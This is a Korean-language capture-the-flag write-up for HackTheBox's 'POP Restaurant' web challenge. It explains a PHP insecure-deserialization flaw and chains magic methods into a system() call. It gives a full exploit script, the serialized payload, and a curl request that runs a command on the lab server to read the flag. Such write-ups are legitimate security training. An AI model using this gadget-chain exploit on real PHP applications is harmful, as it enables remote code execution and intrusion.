HackTheBox Labs Writeup - POP Restaurant

HackTheBox Labs Writeup - POP Restaurant

이 글은 HackTheBox 의 Easy 난이도의 Web 분야 Challange 인 POP Restaurant 에 대한 Writeup이다.

1. 웹 서버 접근

문제에서 제공하는 서버에 접속하면 픽셀 아트 풍 배경의 요리점 모습이 보인다. 기능을 이용하기 위해 로그인이 필요하므로 대충 아이디를 생성 후 로그인한다.

웹 서버 대문

로그인하면 피자, 아이스크림, 스파게티를 주문하는 버튼이 존재한다. 클릭하면 하단에서 주문한 요리에 대한 ID가 출력된다.

Order 페이지

이외에는 특별한 기능이 보이지 않아 바로 첨부 파일 분석에 들어갔다.

2. 풀이

문제 웹 서버는 PHP 서버이며, POP Restaurant 라는 문제 이름 답게 POP(Property-Oriented Programming Chain) 과 PHP Deserialize 취약점을 이용해 문제를 풀어나가야 한다.

challenge/order.php 파일에서 다음과 같은 취약점이 발견된다.

//challenge/order.php 
$order = unserialize(base64_decode($_POST['data']));

사용자가 전달한 data 파라미터가 아무런 검증 없이 unserialize() 함수에 전달된다. 공격자는 이를 통해 임의의 클래스 객체를 주입하고, 해당 클래스들의 매직 메서드(Magic Methods)를 발생시킬 수 있다.

Pizza 클래스에는 객체가 소멸될 때 자동으로 실행되는 __destruct 메서드가 있다. 이를 통해 $this->size에 다른 객체를 할당하고, 그 객체에 존재하지 않는 프로퍼티인 what에 접근하게 함으로써 __get 매직 메소드를 유도할 수 있다.

// challenge/Models/PizzaModel.php
class Pizza
{
	public $price;
	public $cheese;
	public $size;

	public function __destruct()
	{
		echo $this->size->what;
	}
}

Spaghetti 클래스에는 존재하지 않는 프로퍼티에 접근할 때 실행되는 __get 메소드가 있다. 여기서 $this->sauce에 객체를 할당하면, 해당 객체를 함수로 호출하려고 시도하므로 __invoke 매직 메서드가 실행된다.

// challenge/Models/SpaghettiModel.php
class Spaghetti
{
    public $sauce;
    public $noodles;
    public $portion;

    public function __get($tomato)
    {
        ($this->sauce)();
    }
}

IceCream 클래스는 객체가 함수처럼 호출될 때 실행되는 __invoke 메소드를 가진다. $this->flavors에 Iterator를 상속받은 객체를 넣으면, foreach 문이 시작될 때 해당 객체의 current() 메서드가 호출된다.

// challenge/Models/IceCreamModel.php
class IceCream
{
	public $flavors;
	public $topping;

	public function __invoke()
	{
		foreach ($this->flavors as $flavor) {
			echo $flavor;
		}
	}
}

ArrayHelpers는 ArrayIterator를 상속받으며 current() 메서드를 오버라이딩하고 있다. call_user_func를 통해 $this->callback에 실행할 함수(system)를, parent::current()를 통해 실행할 인자(명령어)를 전달할 수 있다.

// challenge/Helpers/ArrayHelpers.php
namespace Helpers{
    use \ArrayIterator;
	class ArrayHelpers extends ArrayIterator
	{
		public $callback;

		public function current()
		{
			$value = parent::current();
			$debug = call_user_func($this->callback, $value);
			return $value;
		}
	}
}

위의 정보들을 이용해 POP 체인을 연결하여 직렬화된 데이터를 생성하는 PHP 스크립트를 작성한다. DockerFile 파일에서 무작위 이름의 flag 파일(${FLAG_NAME}_flag.txt)을 생성하는 명령어가 존재하므로 이를 고려한다.

<?php
namespace Helpers {
    // ArrayIterator를 상속받으므로 내부 배열 데이터와 callback 필드를 모두 설정
    class ArrayHelpers extends \ArrayIterator {
        public $callback = 'system';
    }
}

namespace {
    class IceCream { public $flavors; }
    class Spaghetti { public $sauce; }
    class Pizza { public $size; }

    // 명령어: 플래그 파일명이 랜덤이므로 와일드카드 사용
    $ah = new Helpers\ArrayHelpers(["cat /*_flag.txt"]);
    
    $ic = new IceCream();
    $ic->flavors = $ah;

    $sp = new Spaghetti();
    $sp->sauce = $ic;

    $pz = new Pizza();
    $pz->size = $sp;

    echo base64_encode(serialize($pz)) . PHP_EOL;
}

작성한 PHP 스크립트로 exploit.php라는 파일을 생성 후, 실행 결과를 저장한다.

$ php exploit.php                           
Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7Tzo4OiJJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjtPOjIwOiJIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czoxNToiY2F0IC8qX2ZsYWcudHh0Ijt9aToyO2E6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31pOjM7Tjt9fX19

exploit.php 실행 결과

공격 대상 서버의 /order.php 에 생성한 base64 문자열을 담아 POST 패킷을 송신하면 flag 값을 얻을 수 있다. 주의할 점은 /order.php 에 접근하기 위해서는 세션 아이디가 필요하다. 공격 대상 서버에 접속, 아이디를 생성, 로그인 후 브라우저에서 F12버튼을 클릭해 개발자 모드로 들어간 후, 쿠키에서 PHPSESSID 값을 복사해서 패킷에 추가해야 한다.

curl -X POST http://[IP]:Port/order.php  -d "data=Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7Tzo4OiJJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjtPOjIwOiJIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czoxNToiY2F0IC8qX2ZsYWcudHh0Ijt9aToyO2E6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31pOjM7Tjt9fX19" --cookie "PHPSESSID=[PHP 세션 쿠키]"